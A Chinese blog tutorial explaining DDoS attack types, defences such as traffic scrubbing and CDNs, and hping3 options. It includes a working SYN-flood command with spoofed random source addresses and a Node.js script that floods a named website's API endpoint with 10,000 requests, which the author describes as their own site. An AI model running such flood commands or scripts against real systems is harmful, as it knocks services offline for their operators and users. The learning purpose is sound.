网络安全——DDOS攻击

  时间:2022-05-11 16:56:29  阅读量:22  评论数:0  作者:

该篇文章介绍网络安全——DDOS攻击,除了讲述概念知识,还有代码分析,想了解这类技术的可以参考阅读,提高水平。

1.引言

    讲个笑话:手中没有剑,和有剑不用是两种事,因此这里特地学了一下DDOS攻击。使用的工具主要事kali机中的hping3,网安实在是太神奇了,有很多牛逼的工具,但是由于时间有限,所以这里就只学一下hping3,本着能够完成攻击机的任务的目的来学习的。

2.什么是DDOS?

    首先需要明白DDOS是从DOS的基础上发展而来的,有一台电脑对另一台电脑的攻击变成了多台电脑对一台电脑的攻击,知乎上有很多有趣的比喻,有兴趣的可以去搜搜。Dos是一种拒绝服务(Denial of Service),DDos是一种分布式拒绝服务(Distributed Denial of Service),举个形象的例子就是:作为带恶霸的你看某个餐馆不爽,喊了1000个人去一个只能容纳500人同时就餐的餐馆,而这时你喊去的1000人不进行任何消费,其他想就餐的正常顾客也不能就餐。在互联网上DDOS攻击暴力而非常有效。表现为:你通过大量的数据包和目标服务器建立连接,占用目标服务器的带宽,导致目标服务器无法再去为正常的用户提供服务,表现为服务器炸了,如果是阿里云,当DDos攻击达到一定量,会触发阿里云服务器提供的“防御措施”,服务器直接被冻结,这也是本地写博问的终极目标(当然,攻击的是自己的服务器)。

3.DDOS的攻击原理

    这里的攻击原理主要来自于(B站的Ele实验室(DDoS技术鉴赏)),讲的是非常的精彩,总结如下:
(1)传输原理,TCP/IP的四层结构:应用层(固定数据包的格式)、传输层(规定传输方式,比如是否需要进行加急处理,经典的三次握手就发生在这里)、互联网层(具体的数据包传送)、子网层(具体的各种硬件载体,比如卫星网,以太网等)。
补充说明一下这个经典的三次握手:

发送方(first)客户端
SYN1
ACK0
顺序号x
确认号
发送方(second)服务端
SYN1
ACK1
顺序号y
确认号x+1
发送方(third)客户端
SYN0
ACK1
顺序号x+1
确认号y+1

(2)ICMP洪水,一直发送ping测试的ICMP数据包,拿自己的带宽换目标服务器的带宽;
(3)UDP洪水,UDP会暴露ip地址,UDP攻击中可能会涉及代理或者伪造他人ip地址,就形成了反射攻击,将目标地址(目标服务器)写清楚,接受地址写成广大的网络ip,也就是让这些ip去中转。
(4)上面的这两种攻击被形象称为,伤敌1000,自损800。放大攻击,一般可以利用多种网络传输过程实现:
    a.DNS服务器,DNS服务器的原理是,拿到域名换成带有ip信息的数据包(通常向DNS请求的数据包远小于查询结果的含ip信息数据包,参考数据:50倍),如果将DNS查询地址改成目标服务器,那就是帮他向DNS服务器使用域名换ip操作。直接将攻击放大了50被。
    b.TCP洪水,服务端中有一个TCP维护表,用来记录已经经过三次握手建立连接的连接数据,这个数据表记录数量有上限,占满之后无法响应之后的TCP请求,但不能伪造ip,否则3次握手不成功,可以直接发了第一次TCP握手包不管,然后基于重传机制,服务端会会一直向客户端发多次响应包直到出现超时,也算是放大方式。
    c.RST洪水,在TCP协议中使用4次挥手结束连接,还可以由一方使用RST数据(带有断开连接发起方的ip地址)强制断开连接,这样作为攻击方就能直接发送RST数据盲打,导致正常使用的用户与服务端断开连接。
    d.基于应用层的代理攻击,原理很好理解,比如搜索一个关键字,但是实际上服务端要做的任务是比较多的,包括查库匹配等,这样如果一下子直接请求大量的查询接口,让服务器吃不消,使用代理是因为一般接口还是基于tcp的需要握手,也就是ip会暴露,所以使用代理。

4.DDOS的防御手段

(1)网络设备ip过滤,在传输的时候每个路由器只传输属于本网段的数据,如果不是本网段的数据,不予以再次发送,这样就能够有效处理ip伪造。
(2)分布式过滤,由于很多路由器是固定的,因此在传输的时候一般数据的传输过程比较固定,如果如果经过了某个不常用的路由节点,说明这个数据包很可能是伪造的。
(3)前两者涉及运营商和开发者等,很难实现,成本比较高。还有一种利用CDN方法,用户请求数据的时候总会请求更近的CDN服务器数据,减少了对中央服务器的压力,对应用层攻击相对有效。
(4)流量清洗,主要为了在握手阶段筛洗请求连接,主要针对用户伪造ip发送第一个握手包,让服务端白白回了10几次的握手第二截断的握手包,清洗设备参与之后,清晰设备会担任第二阶段握手包的功能,回复客户端第二次握手包,如果客户端回复了,就会将本次连接交给服务器正常通信。在应用层方便,清晰工具能够记录非法IP库,如果数据包来自于非法ip库,将直接断开本次连接。

5.什么是hping3?

    hping (官网链接)是一款 TCP / IP 数据包编辑器/分析器。它支持TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,在覆盖通道之间发送文件的功能以及许多其他功能。内部参数解释如下(因为我不是专业的,所以这里直接搬运了大佬的参数翻译,方便大家更好的理解使用,仅展示常用参数,已在参考文献中说明):

  -A  --ack        set ACK flag   ------------------------------------- (设置 TCP 的 ACK 标志 位)
  -a  	--spoof      spoof source address  //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
	--rand-dest      random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
 	--rand-source    random source address mode. see the man.       // 随机源地址模式。详细使用 man 命令
  -c  --count     发送数据包的数目(至于一个数据包多大,后面再来分析)
  -d  --data       data size    (default is 0)    // 发送数据包大小,缺省是0。
  -i   --interval  发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
        --fast      等同 -i u10000 (每秒10个包)
        --faster    等同 -i u1000 (每秒100个包)
        --flood	  尽最快发送数据包,不显示回复。
  -I  --interface 网卡接口 (默认路由接口)
  -k  --keep       keep still source port     // 保持源端口
  -n  --numeric   数字化输出,象征性输出主机地址。
  -p  --destport   [+][+]<port> destination port  // 缺省随机源端口
  -R  --rst        set RST flag
  -S  --syn        set SYN flag
  -s  --baseport   base source port    // 缺省随机源端口
  -t  --ttl        ttl (默认 64)  //修改 ttl 值,甚至能够用来误导操作系统捕获
  -w  --win        winsize (default 64)       // win的滑动窗口。windows发送字节(默认64)

6.实践验证

    先拿一个本地搭建的服务器试试水,攻击指令如下:
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.0.109
说明:每次发送10000个握手包,握手包大小为120字节,使用的窗口大小为64,攻击端口为80,随机源地址,目标地址:192.168.0.109。
在这里插入图片描述
    如果攻击失败,可能是每次发送的数据包数量不够或者攻击时间较短,耐心等一段时间(大概30s就崩了)。
    接下来尝试攻击自己的服务器,实践发现攻击自己的阿里云服务器是无效的(从面板上看这数据量完全对不上),之后我去查了一下原因,最后在一篇文章中找到了答案(三分钟了解阿里云和腾讯云的DDoS防御策略):

针对DDoS攻击,阿里云和腾讯云都有相应的政策,阿里云叫黑洞政策,腾讯云叫ip封堵。有些新入门的网友会认为既然买了阿里云或腾讯云的云服务器,那服务商就自然而然应该提供防攻击保护。而实际上服务商也的确提供了保护,只不过
DDoS 防御带宽费用很高,所以,只能是提供一定限额的防攻击保护,超过了就被停止访问了。当然,我们可以通过买付费服务提升保护。

反思攻击失效原因,应该是阿里云服务器做了安全防御,并且我使用的攻击手段又太普遍了。很容易就被防御了,实际到达阿里云服务器的流量几乎没有多少。
但是想攻击也不是不行,只是没有那么高级,这里直接基于应用层接口攻击,连续请求大量的接口是服务器响应不过来(影响是服务器级别的,不针对某个应用):

//node.js写的
const request = require("request");
function launchRequest() {
  request(
    {
    //这里暴露了我的网站,请不要恶意攻击,虽然我没有完成对我服务器的攻击,
    //但是不表示不能攻击,有些地方还是有大佬封装的ddos攻击工具和网站。
    //我可不想我想鱼皮一样惨,请大佬高抬贵手,学习的目的不是为了去攻打被人,
    //而是了解原理。让自己手中有剑。
      url: 
      "https://nightowl.top/index/getSwiperList",
      method: "GET",
      json: true,
    },
    (err, rep, body) => {
      if (err) {
        console.log("完成学习接口调用失败:", err);
        return false;
      }
      if (body.code == 0) {
        console.log("输出返回数据:", body);
      }
    }
  );
}
module.exports = async (ctx) => {
  for (let i = 0; i < 10000; i++) {
    launchRequest();
  }
};

在这里插入图片描述
防御手段:对网站接口请求做延时处理,要求用户请求带上token用于验证并且带上时间戳,用于限制请求频次,当然我这个网站写的比较简陋,加上当时学的东西比较少。

7.参考文献

(1)hping3使用详解

关键词:网络安全,网络,安全,——,ddos攻击,攻击